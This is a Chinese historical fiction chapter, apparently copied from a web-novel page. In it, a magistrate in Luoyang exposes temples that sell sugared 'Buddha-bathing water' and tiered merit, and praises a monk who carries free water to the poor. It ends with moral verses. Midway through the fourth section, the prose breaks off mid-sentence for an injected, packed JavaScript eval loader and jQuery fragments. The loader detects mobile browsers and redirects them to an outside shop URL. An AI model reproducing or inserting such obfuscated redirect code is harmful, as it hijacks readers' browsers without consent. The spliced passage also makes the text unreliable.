楔子金箔浴佛
建武十四年四月八，洛阳城南大相国寺的浴佛会，热闹得连树上的知了都嫌聒噪。
山门外支起三丈高的彩棚，供着一尊檀木释迦太子像。佛像本不稀奇，奇的是——这像从头到脚贴满了金箔，在日头下晃得人眼晕。像前摆着个鎏金铜盆，盆边立木牌，朱漆大字：
“浴佛一瓢，福寿双全；浴佛三瓢，功德无量；浴佛九瓢，往生极乐。”
瓢是特制的，瓢柄镶银，瓢身刻“功德无量”四字。一瓢水，要价一百文。
一、 善财难舍
辰时三刻，寺门一开，香客如潮。为首的是个绸缎商，姓钱，肥头大耳，带着三个小妾、八个伙计，抬着口樟木箱。箱子打开，白花花的银子，整整五百两。
“方丈！”钱商人作揖，“这是小人为佛爷镀金身的香油钱！”
知客僧了空，四十许，面如满月，笑得眼缝不见：“阿弥陀佛，钱施主功德无量。请——先浴佛。”
钱商人接过银瓢，手抖得厉害——不是虔诚，是心疼那一百文。他舀了半瓢“浴佛水”，水是糖水掺了香料，甜腻腻的，往佛像肩头一淋。
“多些！多些！”了空在旁鼓动，“佛爷欢喜，保佑施主生意兴隆！”
一咬牙，又舀两瓢。三百文没了。
后面排着长队。有老妪掏出压箱底的铜钱，颤巍巍浴一瓢，嘴里念着“保佑我儿平安”；有书生当掉佩剑，换得三瓢，求“今科高中”；更有个瘸腿乞丐，捧着讨来的三十文，想浴半瓢，被知客僧一脚踢开：“去去去！佛爷不渡穷鬼！”
乞丐哭道：“师父，我也求个平安…”
“平安？”了空嗤笑，“佛爷的金身还没贴完呢，你三十文，够买片金箔角么？”
正闹着，忽听有人朗声道：“这浴佛会，倒是生意兴隆。”
声如金玉，清亮悦耳。众人回头，见一青衫文士，三十左右，面容清癯，负手立于人群外，正是洛阳府新任法曹参军——顾清臣。
了空脸色微变，忙堆笑：“顾参军也来随喜？”
顾清臣不答，踱至佛像前，细看那金箔：“这金箔贴得厚，怕有三斤？”
“三斤八两。”了空得意，“都是信众的功德。”
“功德？”顾清臣拈起瓢，舀了半瓢水，却不浴佛，递给了那乞丐，“老丈，你先浴。”
乞丐不敢接。了空急道：“参军！这不合规矩！”
“规矩？”顾清臣抬眼，“佛说众生平等，怎的浴佛还有贫富贵贱之分？”
“这…这是信众自愿…”
“自愿？”顾清臣环视众香客，“诸位真是自愿？还是怕不浴佛，佛不保佑？”
众人低头。钱商人嘟囔：“心诚则灵嘛…”
“好个心诚则灵。”顾清臣放下瓢，“那本官问你，你捐五百两，是诚在佛，还是诚在‘佛能让你发财’？”
钱商人语塞。
顾清臣转身，对众香客道：“今日浴佛，原为纪念佛陀诞辰，以香汤灌沐太子像，表涤尘除垢、明心见性之意。何时成了买卖？一瓢水一百文，这卖的是水，还是各位的恐惧？”
了空强笑：“参军言重了，这都是…都是为贴金身。佛有金身，方显庄严…”
“庄严在像，还是在心？”顾清臣打断，“若贴金身便是庄严，那洛阳城外的流民，衣不蔽体，食不果腹，可就不庄严了？佛见了，是先渡他们，还是先给自己贴金？”
人从中，有人窃窃私语。
“再说了，”顾清臣走近铜盆，以指蘸水，尝了尝，“糖水掺香，成本不过十文一桶。卖一百文一瓢，这生意，比贩盐还赚。”
了空额头冒汗。顾清臣却笑了：“不过今日佛诞，本官不扫兴。这浴佛会，照办。只是——”
他自袖中取出一吊钱，正好一百文，扔进功德箱：“这一瓢，本官浴了。但浴的不是这贴金佛，是寺外那尊。”
他捧瓢出寺。众人好奇，跟出山门。寺外墙根下，倒着个老乞丐，浑身脓疮，气若游丝。
顾清臣蹲身，以瓢舀水，轻轻淋在老丐额上：“今日佛诞，我浴你。愿你脱这苦身，往生善处。”
老丐睁眼，混浊的眼珠动了动，竟淌下泪来。
了空脸色铁青。顾清臣起身，将瓢掷回铜盆：“好了，本官浴完了。各位继续。”
他拂袖而去。留下满场香客，面面相觑。那钱商人忽然抱起钱箱：“这佛…不浴了！退钱！”
“对！退钱！”
场面大乱。
二、 高僧辩财
次日，顾清臣被请到大相国寺方丈院。方丈慧明，七十高龄，白眉垂肩，确有高僧气象。二人对坐禅房，窗外竹影婆娑。
“顾参军昨日一番话，震动洛阳。”慧明斟茶，“老衲想请教，依参军之见，佛门该如何？”
“该做佛门该做之事。”顾清臣道，“施粥、义诊、助学、抚孤。而非卖水贴金。”
慧明苦笑：“参军可知，本寺有僧三百，日耗粮米十石。寺宇年久失修，去年大雨，藏经阁漏湿经卷三十七部。这些，都要钱。”
“所以要卖浴佛水？”
“非也。”慧明正色，“浴佛所得，三成修寺，三成养僧，四成…赈济贫苦。寺外每月施粥三日，参军可曾见？”
“见过。”顾清臣点头，“但本官也见过，贵寺知客僧踹开求浴佛的乞丐。若真为赈济，何不将卖水的银钱，直接施与穷人？何必绕个弯，让人先买虚妄，再得实惠？”
“这…”慧明长叹，“众生愚钝，不先给个想头，谁肯布施？”
“所以大师也知，浴佛是‘想头’。”顾清臣直视他，“既是想头，便是骗局。骗局开头，哪怕结局是善，也是恶因。”
禅房静默。唯闻茶沸声。
良久，慧明道：“参军可知‘金刚怒目’？”
“知。”
“那参军昨日在寺前，是菩萨低眉，还是金刚怒目？”
顾清臣笑：“本官是俗人，不懂佛。只知看见不公，该说；看见骗局，该揭。至于眉目——该怒时怒，该低时低。”
“好个该怒时怒。”慧明从袖中取出一本册子，“这是本寺三年浴佛收支账册。参军可愿一观？”
顾清臣接过。账记得清楚：浴佛收入，每年约五千贯。支出：修寺一千五百贯，僧粮一千五百贯，赈济两千贯。数字工整，毫无破绽。
“账是明的。”慧明道，“可人心是暗的。老衲今年七十，掌管此寺三十年。见过真为浴佛来的，见过为求福来的，也见过…为敛财来的。”
他抬眼，目光如电：“参军可知，洛阳七十二寺，有多少寺的浴佛会，是某些人的钱袋子？”
顾清臣不语。
“浴佛水一百文一瓢，贵么？贵。可有人愿意买，因为买的是心安。这心安是假，可假心安，也是心安。”慧明缓缓道，“就像有人生病，明知符水无用，可喝了，觉得好些——你能说这‘好些’是假的么？”
“但病根未除。”
“是，病根未除。”慧明点头，“可这病根，不在寺里，在世人心里。世人贪、嗔、痴，想用钱买平安、买福报、买来世。佛门不过…给了个买卖的地方。”
“所以大师觉得，这买卖合理？”
“不合理，但不得不为。”慧明合十，“若关了这买卖，世人去哪里买心安？若没了这想头，多少人在苦海里，连根浮木都抓不到？”
顾清臣起身，踱至窗前。窗外，几个小沙弥正在扫地，一脸稚气。
“大师，你看这些孩子。”他轻声道，“他们入寺，是为学佛，还是学卖水？”
慧明一震。
“若他们从小见到的佛门，是卖水贴金、是踹开乞丐、是满口功德实则生意——他们心中的佛，会是怎样的佛？”顾清臣转身，“今日他们卖水，明日会不会卖佛？后日，佛还值多少钱？”
禅房死寂。慧明手中佛珠，啪地断了线，檀木珠子滚了一地。
三、 伽蓝秤
三日后，顾清臣微服私访，走了洛阳十座寺庙。所见大同小异：浴佛会成了庙会，卖水的、卖符的、卖“开光”法器的，甚至还有卖“佛前供果”——说是供过佛的果子，吃了消灾，一颗五十文。
最奇的是城南小相国寺，竟推出“分级浴佛”：
铜盆浴佛，一百文，保平安；
银盆浴佛，五百文，保富贵；
金盆浴佛，一千文，保子孙。
顾清臣蹲在寺外茶摊，听茶客议论：
“听说了么？昨儿个陈寡妇把嫁妆当了，换了一次金盆浴佛，求她儿子中举。”
“中了吗？”
“中个屁！她儿子连《三字经》都背不全。”
“那金盆…”
“方丈说，是她心不诚。得再浴一次。”
顾清臣摇头，正要走，忽见寺里出来个老僧，扛着根扁担，两头挑着水桶，往城外去。他悄然跟上。
老僧出城，到洛水边，汲了两桶清水，不往回走，反折向城西贫民窟。那里窝棚遍地，污水横流。老僧放下桶，喊：“领浴佛水了——不要钱！”
窝棚里涌出老弱妇孺，拿着破碗陶罐。老僧一瓢瓢分水，动作轻柔。有个病妇咳得厉害，老僧从怀中掏出个小纸包，里面是几粒丸药：“这是寺里制的止咳丸，你且服下。”
顾清臣走近：“老师父是？”
老僧抬头，满脸皱纹如沟壑：“贫僧慧静，小相国寺杂役僧。”
“这水…”
“是浴佛水。”慧静道，“不过是贫僧自己挑的清水。寺里卖糖水，贫僧无能阻拦，只能…另备些干净的，给这些浴不起佛的人。”
顾清臣心中一动：“寺里方丈可知？”
“知。”慧静苦笑，“方丈说，我这是拆台。可佛诞浴佛，本为慈悲。这些穷人连饭都吃不上，哪有钱浴佛？若因无钱，便被佛抛弃，这佛…不拜也罢。”
他分完水，挑空桶往回走。顾清臣并肩而行：“老师父在寺中多年？”
“四十年了。”慧静道，“年轻时见过真修行的，也见过真骗钱的。如今…骗钱的成了方丈，真修行的，成了杂役。”
“为何不走？”
“走？”慧静摇头，“走了，这些穷人连这碗清水都没了。我在一日，便挑一日水。我若死了…”他顿了顿，“但愿有人接着挑。”
顾清臣默然。行至寺外，慧静忽然道：“参军今日来，是为查浴佛会吧？”
“你认得我？”
“那日在相国寺外，贫僧在人群中。”慧静合十，“参军那瓢水，浴的是真佛心。只是…”
“只是什么？”
“只是这世道，真佛心太少，假佛事太多。”慧静望向寺门，那里香火缭绕，功德箱反射着刺眼的金光，“佛本教人舍，而今都在求；佛本教人慈，而今都在利。这满寺金身，其实是…称。”
“称？”
“称人心的秤。”慧静缓缓道，“一头是贪，一头是惧。香客拿钱压贪，寺里拿佛压惧。这秤平衡了，买卖就成了。至于佛在不在…谁在乎呢？”
他挑桶入寺，背影佝偻，像棵枯树。
顾清臣独立良久，忽见寺墙贴了张新告示：
“本寺新铸金佛一尊，高丈二，需金五百两。现募捐，捐十两者，刻名于佛座；捐百两者，刻名于佛背；捐千两者…佛前长明灯，永供芳名。”
底下有行小字，墨迹犹新：
“□□人，缘在功德深。”
四、 佛前灯价
四月十五，浴佛会最后一日。顾清臣请了洛阳城里三位人物，到大相国寺“喝茶”。
第一位是钱商人。他捐了五百两，名字刻在佛座最显眼处，字有拳头大。
第二位是陈寡妇。她当尽家产，换得“金盆浴佛”三次，儿子仍未中举，如今在寺里做杂役，抵“亏欠”的功德。
第三位是城南米铺赵掌柜。他没捐钱，但“捐”了三百石米——是陈米，掺了沙，原要倒掉的。寺里收下，转手以“供养米”名义，卖给香客，一斗百文。
三人惴惴不安。顾清臣不置一词，只领他们到藏经阁后一间破屋。屋里坐着慧静，正补僧衣。
“三位，”顾清臣道，“这位慧静师父，在寺中挑了四十年水。你等的名字刻在佛座，可知道他的名字刻在何处？”
三人摇头。
“在城外三千流民心里。”顾清臣自怀中取出本册子，“这是慧静师父四十年行善账册——非金银账，是人命账。救过饥民四百二十七人，赠药一千三百剂，挑水…挑秃了九根扁担。”
他翻开册子，念道：“永平三年腊月，赠乞儿阿毛破袄一件，阿毛活过冬。永平七年中秋，分瘫妇刘氏半块饼，刘氏多活三日。建武十年大水，背出被困老幼十一人…”
念了十例，停住。钱商人面红耳赤，陈寡妇低头啜泣，赵掌柜冷汗直流。
“三位，”顾清臣合上册子，“你们觉得，谁的功德大？是刻名佛座的钱，是金盆浴佛的诚，还是…这四十年挑水的扁担？”
无人能答。
“本官今日请三位来，非为问罪。”顾清臣道，“是想让三位看看，这寺里，佛在何处。是在前殿金身上，还是在后屋破衣上？是在功德箱里，还是在扁担上？”
他起身，推开窗。窗外是寺后菜园，几个老僧正在施肥，粪勺起落，臭气熏天。
“佛说众生平等。”顾清臣道，“可这寺里，前殿的佛闻香火，后园的佛闻粪臭。哪个是真佛？”
他转身，目光如刀：“三位回去细想。若真想积功德——是往功德箱里扔钱容易，还是明日早起，挑担水去贫民窟，分给没水吃的人容易？”
三人狼狈离去。慧静叹道：“参军何苦为难他们？他们也是…求个心安。”
“心安？”顾清臣冷笑，“若他们的心安，是建在三千流民的苦难上，这心安，该不该破？”
“破了之后呢？”
“破
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088168|195403||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
之后，或许有人能看见真的苦，生出真的慈。”顾清臣望向窗外，“若看不见，至少…本官试过了。”
慧静合十，良久道：“参军像一个人。”
“谁？”
“佛经里说的‘维摩诘’。”慧静微笑，“示现居士身，说佛法，破执见。只是…”
“只是什么？”
“维摩诘说法，天花乱坠。参军说法，”慧静顿了顿，“像在刮骨疗毒。痛。”
顾清臣笑了，第一次笑得有些疲惫：“痛，才好。痛了，才知道肉还活着，心还热着。若连痛都觉不出了，这佛门，这世道，就真没救了。”
窗外，暮钟响起，沉沉地，像一声叹息。
五、 金身尘土
浴佛会散了。各寺盘点收入，大相国寺得钱六千贯，小相国寺得钱八千贯，其余各寺三五千不等。方丈们喜气洋洋，计划着给佛再贴层金，给殿再加片瓦。
唯大相国寺出了桩“怪事”：慧明方丈一夜白头，三日后，将方丈之位传予首座，自己闭关不出。传言说，他在禅房墙上，写了四句：
“金身原是土，
佛在心头坐。
若将秤称佛，
称碎是娑婆。”
顾清臣听说，只笑了笑，在卷宗上批了八个字：
“浴佛水流，洗净铅华。”
五月，洛阳府颁新令：“各寺浴佛会，不得以金银定价；不得驱赶贫者；所得钱粮，需公示用途。违者，罚没所得，僧还俗。”
令出，各寺哗然。有僧联名上书，说“断佛门生计”。顾清臣将联名状当众焚毁，只说一句：
“佛要什么生计？要生计的，是和尚。”
又三日，顾清臣路过小相国寺，见山门外新立一碑，碑文是慧静所题：
“浴佛一瓢水，原是洛河清。
莫问价高低，但看济何人。
金身纵万丈，不暖饥寒身。
佛在施水处，不在贴金人。”
碑前，摆着个大木桶，桶边挂一瓢，瓢柄刻“随意”。桶是满的，清水映着天光。
有乞丐来，舀一瓢，咕咚喝下，抹嘴道：“甜！”
旁有香客问：“这水…多少钱？”
守桶的小沙弥合十：“师父说，洛河水，佛的，不要钱。”
香客怔了怔，从怀里掏出几文，扔进桶旁竹筐——筐是漏的，钱漏到地上。小沙弥捡起，还给他：“师父说，要捐，捐给城外粥棚。这里，只给水。”
顾清臣远远看着，没过去。转身时，见慧静在寺门内扫地，对他颔首一笑。
他也一笑，走了。
六月，洛阳大雨。大相国寺那尊贴金佛像，因金箔太厚，积水渗入，木胎腐朽，一夜之间，垮了半边。金箔剥落，露出里头糟烂的木头，虫蛀蚁咬，千疮百孔。
僧众要重铸，慧明出关，只说：“不必。就这样摆着，让人看看，金身里头是什么。”
香客来看，见那朽木佛像，半边金光，半边腐朽，说不出的诡异。有文人题诗于壁：
“金妆裹朽木，香火养痴虫。
一朝风雨至，方知内外空。”
诗传开，各寺贴金的佛像，悄然刮去了些金箔。有方丈说：“留点木胎，透气。”
顾清臣听说，只对书吏道：“记下，建武十四年六月，洛阳佛像，开始会喘气了。”
书吏不解：“佛像怎会喘气？”
“去了层金枷，可不就能喘气了？”顾清臣合上卷宗，“但愿喘气的，不止佛像。”
窗外，又下雨了。雨打芭蕉，声声清脆，像在敲木鱼。
只是这木鱼声里，听不出是经，是咒，还是…人间烟火气。
尾声水月镜花
三年后，顾清臣调任离京。行前，独往洛水边。暮色中，见一老僧在汲水，是慧静。
“师父还在挑水？”
“挑。”慧静直起腰，“只是现在，有八个弟子帮着挑。城外粥棚，也多了三处。”
顾清臣望去，洛水汤汤，流金碎月。
“参军要走了？”
“嗯。”
“临行，老衲赠参军一言。”慧静合十，“佛门事，如这洛河水。有清有浊，有涨有落。参军搅动一池水，浊者沉，清者浮，可水终是水，流终是流。莫执着一时清浊，但看…流到哪里去。”
顾清臣长揖：“谢师父指点。”
他转身登船。船行中流，回望洛阳。城中寺庙灯火，如星点点。那尊垮了半边的佛像，在暮色中只剩轮廓，像幅写意画。
船公忽然道：“客官，听说没？如今洛阳浴佛，不要钱了。寺里摆个大缸，谁渴了，自己舀。有富户捐钱，寺里就刻个名在缸上——不是佛座，是缸。说这叫‘功德缸’。”
顾清臣笑了：“这名字好。功德如水，装在缸里，给人解渴，才是真功德。”
船公也笑：“谁说不是呢！去年俺娘病了，去寺里求水，小师父舀了瓢，还加了勺糖，说‘老人家，甜一点，好得快’。俺娘喝了，真就好了！嘿，你说奇不奇？”
顾清臣望向江心月影，轻声道：“不奇。甜水治病，是奇；慈心治病，是常。”
船远了，洛阳远了。唯有洛水声，潺潺不绝，像在说一个说了千年的道理：
佛不渡人，人自渡。
佛不卖水，水自流。
本章诫世
一、 金身秤佛之诈
- 以贴金为名，行敛财之实，将信仰物化为交易
- 破解法：凡见“功德明码标价”，必是买卖；凡闻“捐多福多”，当思福在何处
- 示例：分级浴佛、刻名标价、踹开贫乞
二、 糖水慈悲之伪
- 以香糖水冒充法水，以廉价物换高价“心安”
- 惕世：当慈悲成为生意，虔诚便成成本；当信仰成为买卖，良知便成账本
- 反思：宗教商业化背后的精神贫困
三、 扁担真功之照
- 慧静四十年挑水，对照前殿贴金，显真假修行
- 深层隐喻：真功德在无人见处，假热闹在香火鼎盛时
- 终极质问：佛在金殿，还是在挑水路上？
浴佛偈：
浴佛原为浴自心，何须金箔贴满身。
一瓢清水济人渴，胜似千金刻名深。
莫道伽蓝无秤杆，人心自是定盘星。
但看朽木金剥后，春风秋雨一般听。
后世叹：
建武十四浴佛辰，金箔照眼眩众生。
一瓢糖水百钱价，满殿功德千贯名。
岂知真佛挑水去，犹有痴人铸金迎。
浴罢不知身是客，洛河依旧月空明。
正是：
四月八日佛诞辰，金妆宝相眩洛阳。
一瓢糖水百钱价，满殿善财千贯香。
岂知真功在扁担，谁见慈心出药囊。
莫道伽蓝无杆秤，人心自分浊与清。